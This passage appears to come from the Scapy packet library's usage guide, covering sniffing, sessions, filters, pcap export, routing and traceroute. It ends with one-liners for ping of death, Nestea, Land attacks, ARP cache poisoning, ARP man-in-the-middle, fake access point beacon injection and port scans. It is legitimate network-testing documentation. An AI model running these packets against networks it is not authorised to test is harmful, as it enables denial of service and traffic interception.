functions, it is required to have installed the `geoip2 `_ module, `its database `_ (`direct download `_) but also the `cartopy `_ module. Configuring super sockets ------------------------- .. index:: single: super socket Different super sockets are available in Scapy: the **native** ones, and the ones that use **libpcap** (to send/receive packets). By default, Scapy will try to use the native ones (*except on Windows, where the winpcap/npcap ones are preferred*). To manually use the **libpcap** ones, you must: * On Unix/OSX: be sure to have libpcap installed. * On Windows: have Npcap/Winpcap installed. (default) Then use:: >>> conf.use_pcap = True This will automatically update the sockets pointing to ``conf.L2socket`` and ``conf.L3socket``. If you want to manually set them, you have a bunch of sockets available, depending on your platform. For instance, you might want to use:: >>> conf.L3socket=L3pcapSocket # Receive/send L3 packets through libpcap >>> conf.L2listen=L2ListenTcpdump # Receive L2 packets through TCPDump Sniffing -------- .. index:: single: sniff() We can easily capture some packets or even clone tcpdump or tshark. Either one interface or a list of interfaces to sniff on can be provided. If no interface is given, sniffing will happen on ``conf.iface``:: >>> sniff(filter="icmp and host 66.35.250.151", count=2) >>> a=_ >>> a.nsummary() 0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw 0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw >>> a[1] >>> >>> sniff(iface="wifi0", prn=lambda x: x.summary()) 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication 802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication 802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149 802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding 802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding 802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw 802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw >>> sniff(iface="eth1", prn=lambda x: x.show()) ---[ Ethernet ]--- dst = 00:ae:f3:52:aa:d1 src = 00:02:15:37:a2:44 type = 0x800 ---[ IP ]--- version = 4L ihl = 5L tos = 0x0 len = 84 id = 0 flags = DF frag = 0L ttl = 64 proto = ICMP chksum = 0x3831 src = 192.168.5.21 dst = 66.35.250.151 options = '' ---[ ICMP ]--- type = echo-request code = 0 chksum = 0x89d9 id = 0xc245 seq = 0x0 ---[ Raw ]--- load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' ---[ Ethernet ]--- dst = 00:02:15:37:a2:44 src = 00:ae:f3:52:aa:d1 type = 0x800 ---[ IP ]--- version = 4L ihl = 5L tos = 0x0 len = 84 id = 2070 flags = frag = 0L ttl = 42 proto = ICMP chksum = 0x861b src = 66.35.250.151 dst = 192.168.5.21 options = '' ---[ ICMP ]--- type = echo-reply code = 0 chksum = 0x91d9 id = 0xc245 seq = 0x0 ---[ Raw ]--- load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' ---[ Padding ]--- load = '\n_\x00\x0b' >>> sniff(iface=["eth1","eth2"], prn=lambda x: x.sniffed_on+": "+x.summary()) eth3: Ether / IP / ICMP 192.168.5.21 > 66.35.250.151 echo-request 0 / Raw eth3: Ether / IP / ICMP 66.35.250.151 > 192.168.5.21 echo-reply 0 / Raw eth2: Ether / IP / ICMP 192.168.5.22 > 66.35.250.152 echo-request 0 / Raw eth2: Ether / IP / ICMP 66.35.250.152 > 192.168.5.22 echo-reply 0 / Raw For even more control over displayed information we can use the ``sprintf()`` function:: >>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}")) 192.168.1.100 -> 64.233.167.99 64.233.167.99 -> 192.168.1.100 192.168.1.100 -> 64.233.167.99 192.168.1.100 -> 64.233.167.99 'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml, text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nCache-Control: max-age=0\r\n\r\n' We can sniff and do passive OS fingerprinting:: >>> p >> >>> load_module("p0f") >>> p0f(p) (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) >>> a=sniff(prn=prnp0f) (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) (0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)']) (1.0, ['Windows 2000 (9)']) The number before the OS guess is the accuracy of the guess. .. note:: When sniffing on several interfaces (e.g. ``iface=["eth0", ...]``), you can check what interface a packet was sniffed on by using the ``sniffed_on`` attribute, as shown in one of the examples above. Asynchronous Sniffing --------------------- .. index:: single: AsyncSniffer() .. note:: Asynchronous sniffing is only available since **Scapy 2.4.3** .. warning:: Asynchronous sniffing does not necessarily improves performance (it's rather the opposite). If you want to sniff on multiple interfaces / socket, remember you can pass them all to a single `sniff()` call It is possible to sniff asynchronously. This allows to stop the sniffer programmatically, rather than with ctrl^C. It provides ``start()``, ``stop()`` and ``join()`` utils. The basic usage would be: .. code-block:: python >>> t = AsyncSniffer() >>> t.start() >>> print("hey") hey [...] >>> results = t.stop() .. image:: graphics/animations/animation-scapy-asyncsniffer.svg The ``AsyncSniffer`` class has a few useful keys, such as ``results`` (the packets collected) or ``running``, that can be used. It accepts the same arguments than ``sniff()`` (in fact, their implementations are merged). For instance: .. code-block:: python >>> t = AsyncSniffer(iface="enp0s3", count=200) >>> t.start() >>> t.join() # this will hold until 200 packets are collected >>> results = t.results >>> print(len(results)) 200 Another example: using ``prn`` and ``store=False`` .. code-block:: python >>> t = AsyncSniffer(prn=lambda x: x.summary(), store=False, filter="tcp") >>> t.start() >>> time.sleep(20) >>> t.stop() Advanced Sniffing - Sniffing Sessions ------------------------------------- .. note:: Sessions are only available since **Scapy 2.4.3** ``sniff()`` also provides **Sessions**, that allows to dissect a flow of packets seamlessly. For instance, you may want your ``sniff(prn=...)`` function to automatically defragment IP packets, before executing the ``prn``. Scapy includes some basic Sessions, but it is possible to implement your own. Available by default: - :py:class:`~scapy.sessions.IPSession` -> *defragment IP packets* on-the-fly, to make a stream usable by ``prn``. - :py:class:`~scapy.sessions.TCPSession` -> *defragment certain TCP protocols*. Currently supports: - HTTP 1.0 - TLS - Kerberos - LDAP - SMB - DCE/RPC - Postgres - DOIP - and maybe other protocols if this page isn't up to date. - :py:class:`~scapy.sessions.TLSSession` -> *matches TLS sessions* on the flow. - :py:class:`~scapy.sessions.NetflowSession` -> *resolve Netflow V9 packets* from their NetflowFlowset information objects Those sessions can be used using the ``session=`` parameter of ``sniff()``. Examples:: >>> sniff(session=IPSession, iface="eth0") >>> sniff(session=TCPSession, prn=lambda x: x.summary(), store=False) >>> sniff(offline="file.pcap", session=NetflowSession) .. note:: To implement your own Session class, in order to support another flow-based protocol, start by copying a sample from `scapy/sessions.py `_ Your custom ``Session`` class only needs to extend the :py:class:`~scapy.sessions.DefaultSession` class, and implement a ``process`` or a ``recv`` function, such as in the examples. .. warning:: The inner workings of ``Session`` is currently UNSTABLE: custom Sessions may break in the future. How to use TCPSession to defragment TCP packets ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ The layer on which the decompression is applied must be immediately following the TCP layer. You need to implement a class function called ``tcp_reassemble`` that accepts the binary data, a metadata dictionary as argument and returns, when full, a packet. Let's study the (pseudo) example of TLS: .. code:: class TLS(Packet): [...] @classmethod def tcp_reassemble(cls, data, metadata, session): length = struct.unpack("!H", data[3:5])[0] + 5 if len(data) == length: return TLS(data) In this example, we first get the total length of the TLS payload announced by the TLS header, and we compare it to the length of the data. When the data reaches this length, the packet is complete and can be returned. When implementing ``tcp_reassemble``, it's usually a matter of detecting when a packet isn't missing anything else. The ``data`` argument is bytes and the ``metadata`` argument is a dictionary which keys are as follow: - ``metadata["pay_class"]``: the TCP payload class (here TLS) - ``metadata.get("tcp_psh", False)``: will be present if the PUSH flag is set - ``metadata.get("tcp_end", False)``: will be present if the END or RESET flag is set If ``tcp_reassemble`` **returns any padding**, it will be kept for the next payload. Filters ------- .. index:: single: filter, sprintf() Demo of both bpf filter and sprintf() method:: >>> a=sniff(filter="tcp and ( port 25 or port 110 )", prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport% %2s,TCP.flags% : %TCP.payload%")) 192.168.8.10:47226 -> 213.228.0.14:110 S : 213.228.0.14:110 -> 192.168.8.10:47226 SA : 192.168.8.10:47226 -> 213.228.0.14:110 A : 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK <13103.1048117923@pop2-1.free.fr> 192.168.8.10:47226 -> 213.228.0.14:110 A : 192.168.8.10:47226 -> 213.228.0.14:110 PA : USER toto 213.228.0.14:110 -> 192.168.8.10:47226 A : 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK 192.168.8.10:47226 -> 213.228.0.14:110 A : 192.168.8.10:47226 -> 213.228.0.14:110 PA : PASS tata 213.228.0.14:110 -> 192.168.8.10:47226 PA : -ERR authorization failed 192.168.8.10:47226 -> 213.228.0.14:110 A : 213.228.0.14:110 -> 192.168.8.10:47226 FA : 192.168.8.10:47226 -> 213.228.0.14:110 FA : 213.228.0.14:110 -> 192.168.8.10:47226 A : Send and receive in a loop -------------------------- .. index:: single: srloop() Here is an example of a (h)ping-like functionality : you always send the same set of packets to see if something change:: >>> srloop(IP(dst="www.target.com/30")/TCP()) RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S .. _import-export: Importing and Exporting Data ---------------------------- PCAP ^^^^ It is often useful to save capture packets to pcap file for use at later time or with different applications:: >>> wrpcap("temp.cap",pkts) To restore previously saved pcap file: >>> pkts = rdpcap("temp.cap") or >>> pkts = sniff(offline="temp.cap") Hexdump ^^^^^^^ Scapy allows you to export recorded packets in various hex formats. Use ``hexdump()`` to display one or more packets using classic hexdump format:: >>> hexdump(pkt) 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E. 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|...... 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI.. 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................ 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$% 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345 0060 36 37 67 Hexdump above can be reimported back into Scapy using ``import_hexcap()``:: >>> pkt_hex = Ether(import_hexcap()) 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E. 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|...... 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI.. 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................ 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$% 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345 0060 36 37 67 >>> pkt_hex >>> Binary string ^^^^^^^^^^^^^ You can also convert entire packet into a binary string using the ``raw()`` function:: >>> pkts = sniff(count = 1) >>> pkt = pkts[0] >>> pkt >>> >>> pkt_raw = raw(pkt) >>> pkt_raw '\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8 \x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00 \x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b \x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567' We can reimport the produced binary string by selecting the appropriate first layer (e.g. ``Ether()``). >>> new_pkt = Ether(pkt_raw) >>> new_pkt >>> Making tables ------------- .. index:: single: tables, make_table() Now we have a demonstration of the ``make_table()`` presentation function. It takes a list as parameter, and a function who returns a 3-uple. The first element is the value on the x axis from an element of the list, the second is about the y value and the third is the value that we want to see at coordinates (x,y). The result is a table. This function has 2 variants, ``make_lined_table()`` and ``make_tex_table()`` to copy/paste into your LaTeX pentest report. Those functions are available as methods of a result object : Here we can see a multi-parallel traceroute (Scapy already has a multi TCP traceroute function. See later):: >>> ans, unans = sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP()) Received 49 packets, got 24 answers, remaining 0 packets >>> ans.make_table( lambda s,r: (s.dst, s.ttl, r.src) ) 216.15.189.192 216.15.189.193 216.15.189.194 216.15.189.195 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 81.57.239.254 81.57.239.254 81.57.239.254 81.57.239.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 213.228.3.3 213.228.3.3 213.228.3.3 213.228.3.3 5 193.251.254.1 193.251.251.69 193.251.254.1 193.251.251.69 6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178 Here is a more complex example to distinguish machines or their IP stacks from their IPID field. We can see that 172.20.80.200:22 is answered by the same IP stack as 172.20.80.201 and that 172.20.80.197:25 is not answered by the same IP stack as other ports on the same IP. :: >>> ans, unans = sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80])) Received 142 packets, got 25 answers, remaining 71 packets >>> ans.make_table(lambda s,r: (s.dst, s.dport, r.sprintf("%IP.id%"))) 172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201 20 0 4203 7021 - 11562 21 0 4204 7022 - 11563 22 0 4205 7023 11561 11564 25 0 0 7024 - 11565 53 0 4207 7025 - 11566 80 0 4028 7026 - 11567 It can help identify network topologies very easily when playing with TTL, displaying received TTL, etc. Routing ------- .. index:: single: Routing, conf.route Now Scapy has its own routing table, so that you can have your packets routed differently than the system:: >>> conf.route Network Netmask Gateway Iface 127.0.0.0 255.0.0.0 0.0.0.0 lo 192.168.8.0 255.255.255.0 0.0.0.0 eth0 0.0.0.0 0.0.0.0 192.168.8.1 eth0 >>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1") >>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254") >>> conf.route.add(host="192.168.1.1",gw="192.168.8.1") >>> conf.route Network Netmask Gateway Iface 127.0.0.0 255.0.0.0 0.0.0.0 lo 192.168.8.0 255.255.255.0 0.0.0.0 eth0 0.0.0.0 0.0.0.0 192.168.8.254 eth0 192.168.1.1 255.255.255.255 192.168.8.1 eth0 >>> conf.route.resync() >>> conf.route Network Netmask Gateway Iface 127.0.0.0 255.0.0.0 0.0.0.0 lo 192.168.8.0 255.255.255.0 0.0.0.0 eth0 0.0.0.0 0.0.0.0 192.168.8.1 eth0 Matplotlib ---------- .. index:: single: Matplotlib, plot() We can easily plot some harvested values using Matplotlib. (Make sure that you have matplotlib installed.) For example, we can observe the IP ID patterns to know how many distinct IP stacks are used behind a load balancer:: >>> a, b = sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000)) >>> a.plot(lambda q,r: r.id) [] .. image:: graphics/ipid.png TCP traceroute (2) ------------------ .. index:: single: traceroute(), Traceroute Scapy also has a powerful TCP traceroute function. Unlike other traceroute programs that wait for each node to reply before going to the next, Scapy sends all the packets at the same time. This has the disadvantage that it can't know when to stop (thus the maxttl parameter) but the great advantage that it took less than 3 seconds to get this multi-target traceroute result:: >>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20) Received 80 packets, got 80 answers, remaining 0 packets 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.243.5.254 82.243.5.254 82.243.5.254 82.243.5.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 212.27.50.46 212.27.50.46 212.27.50.46 212.27.50.46 5 212.27.50.37 212.27.50.41 212.27.50.37 212.27.50.41 6 212.27.50.34 212.27.50.34 213.228.3.234 193.251.251.69 7 213.248.71.141 217.118.239.149 208.184.231.214 193.251.241.178 8 213.248.65.81 217.118.224.44 64.125.31.129 193.251.242.98 9 213.248.70.14 213.206.129.85 64.125.31.186 193.251.243.89 10 193.45.10.88 SA 213.206.128.160 64.125.29.122 193.251.254.126 11 193.45.10.88 SA 206.24.169.41 64.125.28.70 216.115.97.178 12 193.45.10.88 SA 206.24.226.99 64.125.28.209 66.218.64.146 13 193.45.10.88 SA 206.24.227.106 64.125.29.45 66.218.82.230 14 193.45.10.88 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA 15 193.45.10.88 SA 216.109.120.149 64.124.229.109 66.94.229.254 SA 16 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 17 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 18 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 19 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 20 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA (, ) The last line is in fact the result of the function : a traceroute result object and a packet list of unanswered packets. The traceroute result is a more specialised version (a subclass, in fact) of a classic result object. We can save it to consult the traceroute result again a bit later, or to deeply inspect one of the answers, for example to check padding. >>> result, unans = _ >>> result.show() 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 [...] >>> result.filter(lambda x: Padding in x[1]) Like any result object, traceroute objects can be added : >>> r2, unans = traceroute(["www.voila.com"],maxttl=20) Received 19 packets, got 19 answers, remaining 1 packets 195.101.94.25:80 1 192.168.8.1 2 82.251.4.254 3 213.228.4.254 4 212.27.50.169 5 212.27.50.162 6 193.252.161.97 7 193.252.103.86 8 193.252.103.77 9 193.252.101.1 10 193.252.227.245 12 195.101.94.25 SA 13 195.101.94.25 SA 14 195.101.94.25 SA 15 195.101.94.25 SA 16 195.101.94.25 SA 17 195.101.94.25 SA 18 195.101.94.25 SA 19 195.101.94.25 SA 20 195.101.94.25 SA >>> >>> r3=result+r2 >>> r3.show() 195.101.94.25:80 212.23.37.13:80 216.109.118.72:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 212.27.50.169 212.27.50.169 212.27.50.46 - 212.27.50.46 5 212.27.50.162 212.27.50.162 212.27.50.37 212.27.50.41 212.27.50.37 6 193.252.161.97 194.68.129.168 212.27.50.34 213.228.3.234 193.251.251.69 7 193.252.103.86 212.23.42.33 217.118.239.185 208.184.231.214 193.251.241.178 8 193.252.103.77 212.23.42.6 217.118.224.44 64.125.31.129 193.251.242.98 9 193.252.101.1 212.23.37.13 SA 213.206.129.85 64.125.31.186 193.251.243.89 10 193.252.227.245 212.23.37.13 SA 213.206.128.160 64.125.29.122 193.251.254.126 11 - 212.23.37.13 SA 206.24.169.41 64.125.28.70 216.115.97.178 12 195.101.94.25 SA 212.23.37.13 SA 206.24.226.100 64.125.28.209 216.115.101.46 13 195.101.94.25 SA 212.23.37.13 SA 206.24.238.166 64.125.29.45 66.218.82.234 14 195.101.94.25 SA 212.23.37.13 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA 15 195.101.94.25 SA 212.23.37.13 SA 216.109.120.151 64.124.229.109 66.94.229.254 SA 16 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 17 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 18 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 19 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 20 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA Traceroute result object also have a very neat feature: they can make a directed graph from all the routes they got, and cluster them by AS (Autonomous System). You will need graphviz. By default, ImageMagick is used to display the graph. >>> res, unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2) Received 190 packets, got 190 answers, remaining 10 packets 193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80 207.46... 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.16... 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251... 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.22... [...] >>> res.graph() # piped to ImageMagick's display program. Image below. >>> res.graph(type="ps",target="| lp") # piped to postscript printer >>> res.graph(target="> /tmp/graph.svg") # saved to file .. image:: graphics/graph_traceroute.png If you have VPython installed, you also can have a 3D representation of the traceroute. With the right button, you can rotate the scene, with the middle button, you can zoom, with the left button, you can move the scene. If you click on a ball, it's IP will appear/disappear. If you Ctrl-click on a ball, ports 21, 22, 23, 25, 80 and 443 will be scanned and the result displayed:: >>> res.trace3D() .. image:: graphics/trace3d_1.png .. image:: graphics/trace3d_2.png Wireless frame injection ------------------------ .. index:: single: FakeAP, Dot11, wireless, WLAN .. note:: See the :doc:`TroubleShooting ` section for more information on the usage of Monitor mode among Scapy. Provided that your wireless card and driver are correctly configured for frame injection, you can have a kind of FakeAP:: >>> sendp(RadioTap()/ Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2="00:01:02:03:04:05", addr3="00:01:02:03:04:05")/ Dot11Beacon(cap="ESS", timestamp=1)/ Dot11Elt(ID="SSID", info=RandString(RandNum(1,50)))/ Dot11EltRates(rates=[130, 132, 11, 22])/ Dot11Elt(ID="DSset", info="\x03")/ Dot11Elt(ID="TIM", info="\x00\x01\x00\x00"), iface="mon0", loop=1) Depending on the driver, the commands needed to get a working frame injection interface may vary. You may also have to replace the first pseudo-layer (in the example ``RadioTap()``) by ``PrismHeader()``, or by a proprietary pseudo-layer, or even to remove it. Simple one-liners ================= ACK Scan -------- Using Scapy's powerful packet crafting facilities we can quick replicate classic TCP Scans. For example, the following string will be sent to simulate an ACK Scan:: >>> ans, unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A")) We can find unfiltered ports in answered packets:: >>> for s,r in ans: ... if s[TCP].dport == r[TCP].sport: ... print("%d is unfiltered" % s[TCP].dport) Similarly, filtered ports can be found with unanswered packets:: >>> for s in unans: ... print("%d is filtered" % s[TCP].dport) Xmas Scan --------- Xmas Scan can be launched using the following command:: >>> ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") ) Checking RST responses will reveal closed ports on the target. IP Scan ------- A lower level IP Scan can be used to enumerate supported protocols:: >>> ans, unans = sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2) ARP Ping -------- The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method:: >>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"), timeout=2) Answers can be reviewed with the following command:: >>> ans.summary(lambda s,r: r.sprintf("%Ether.src% %ARP.psrc%") ) Scapy also includes a built-in arping() function which performs similar to the above two commands: >>> arping("192.168.1.0/24") ICMP Ping --------- Classical ICMP Ping can be emulated using the following command:: >>> ans, unans = sr(IP(dst="192.168.1.0/24")/ICMP(), timeout=3) Information on live hosts can be collected with the following request:: >>> ans.summary(lambda s,r: r.sprintf("%IP.src% is alive") ) TCP Ping -------- In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below:: >>> ans, unans = sr( IP(dst="192.168.1.0/24")/TCP(dport=80,flags="S") ) Any response to our probes will indicate a live host. We can collect results with the following command:: >>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") ) UDP Ping -------- If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0:: >>> ans, unans = sr( IP(dst="192.168.*.1-10")/UDP(dport=0) ) Once again, results can be collected with this command:: >>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") ) DNS Requests ------------ **IPv4 (A) request:** This will perform a DNS request looking for IPv4 addresses >>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="secdev.org",qtype="A"))) >>> ans.an[0].rdata '217.25.178.5' **SOA request:** >>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="secdev.org",qtype="SOA"))) >>> ans.an[0].mname b'dns.ovh.net.' >>> ans.an[0].rname b'tech.ovh.net.' **MX request:** >>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="google.com",qtype="MX"))) >>> results = [x.exchange for x in ans.an] >>> results [b'alt1.aspmx.l.google.com.', b'alt4.aspmx.l.google.com.', b'aspmx.l.google.com.', b'alt2.aspmx.l.google.com.', b'alt3.aspmx.l.google.com.'] Classical attacks ----------------- Malformed packets:: >>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP()) Ping of death (Muuahahah):: >>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) ) Nestea attack:: >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10)) >>> send(IP(dst=target, id=42, frag=48)/("X"*116)) >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224)) Land attack (designed for Microsoft Windows):: >>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135)) ARP cache poisoning ------------------- This attack prevents a client from joining the gateway by poisoning its ARP cache through a VLAN hopping attack. Classic ARP cache poisoning:: >>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client), inter=RandNum(10,40), loop=1 ) ARP cache poisoning with double 802.1q encapsulation:: >>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2) /ARP(op="who-has", psrc=gateway, pdst=client), inter=RandNum(10,40), loop=1 ) ARP MitM -------- This poisons the cache of 2 machines, then answers all following ARP requests to put the host between. Calling ctrl^C will restore the connection. :: $ sysctl net.ipv4.conf.virbr0.send_redirects=0 # virbr0 = interface $ sysctl net.ipv4.ip_forward=1 $ sudo scapy >>> arp_mitm("192.168.122.156", "192.168.122.17") TCP Port Scanning ----------------- Send a 